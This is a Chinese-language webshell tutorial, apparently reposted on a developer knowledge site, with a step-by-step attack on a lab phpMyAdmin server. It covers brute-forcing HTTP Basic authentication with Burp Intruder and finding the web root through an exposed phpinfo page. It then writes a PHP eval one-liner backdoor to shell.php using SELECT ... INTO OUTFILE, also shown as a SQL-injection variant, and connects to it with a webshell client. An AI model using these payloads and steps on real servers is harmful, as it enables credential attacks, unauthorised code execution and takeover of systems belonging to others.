WEBSHELL姿勢之SQL一句話 -开发者知识库

WEBSHELL姿勢之SQL一句話 -开发者知识库,第1张

之前的兩篇WEBSHELL姿勢談到了兩種拿SHELL的方法(上傳 解析漏洞、http-put/move方法),當然有時最簡單的時候就是上傳無限制,或者通過改filename后綴實現。這次我們要實驗的就是通過phpMyAdmin來實現。

一般來說要利用SQL來實現一句話,有如下幾種情況:

1.存在sql注入,在沒有字符處理時可直接寫入一句話(如Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/shell.php');

2.利用phpMyAdmin寫入一句話(前提登錄phpMyAdmin)

3.其次利用注入登錄應用系統,發現應用系統的其它漏洞,完成getshell。

0x00 實驗環境

1.一個安裝phpMyAdmin的windows環境

2.使用工具burpsuit(可使用其他相關工具替換)

0x01 發現phpMyAdmin

輸入ip,我們發現應用是一個后台登錄系統,使用burpsuit代理並將目標網站發送至spider進行網頁爬取,在target中查看網站目錄(適當調整fitler可顯示多個目錄)

WEBSHELL姿勢之SQL一句話 -开发者知识库,第2张

0x02 暴力破解

我們訪問目標網站http://10.1.1.10/phpMyAdmin,發現它需要認證(basic認證)

WEBSHELL姿勢之SQL一句話 -开发者知识库,第3张

我們先嘗試一下密碼,並使用burpsuit查看發送的包信息

WEBSHELL姿勢之SQL一句話 -开发者知识库,第4张

其中,YWRtaW46MTIzNDU2就是我們輸入的用戶名和密碼BASE64格式,解碼后為:admin:123456

我們直接把數據包發送至intruder模塊就行暴力破解,配置如下:

1.僅設置YWRtaW46MTIzNDU2為payload maker

2.設置payload type為Custom iterator

3.通過load加載常用用戶名進position1列表,配置position separator為:(冒號)

4.切換到position2,通過load加載常用口令進position2列表

5.在payload process中添加Encode-Base64 encode

6.start attack.

WEBSHELL姿勢之SQL一句話 -开发者知识库,第5张

通過status,我們定位到一個200 OK的包,解碼得到root:1234567890,登錄

0x03 寫入一句話

在寫一句話之前,我們要先了解mysql寫文件的基本語句:

select * from test into outfile '/xxx/xxx/test.txt'

寫文件我們大致了解了,但是我們還缺少應用的路徑,這里我們通過暴露的phpinfo文件得到了應用路徑C:/xampp/xampp/htdocs

WEBSHELL姿勢之SQL一句話 -开发者知识库,第6张

最后我們的一句話木馬sql如下:

Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一個cmd字段
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['6um1n']);?>"); //把php一句話木馬插入到temp表
Select cmd from temp into out file 'C:/xampp/xampp/htdocs/shell.php'; //查詢temp表中的一句話並把結果導入到shell.php
Drop TABLE IF EXISTS temp; //刪除temp

#以上也可簡化為:
#Select "<?php @eval($_POST['6um1n']);?>" into outfile 'C:/xampp/xampp/htdocs/shell.php'

執行sql

WEBSHELL姿勢之SQL一句話 -开发者知识库,第7张

0x04 菜刀

WEBSHELL姿勢之SQL一句話 -开发者知识库,第8张

webshell至此完結,之后還可以完成提權等測試,這里就不再繼續了。


最佳答案:

本文经用户投稿或网站收集转载,如有侵权请联系本站。

发表评论

0条回复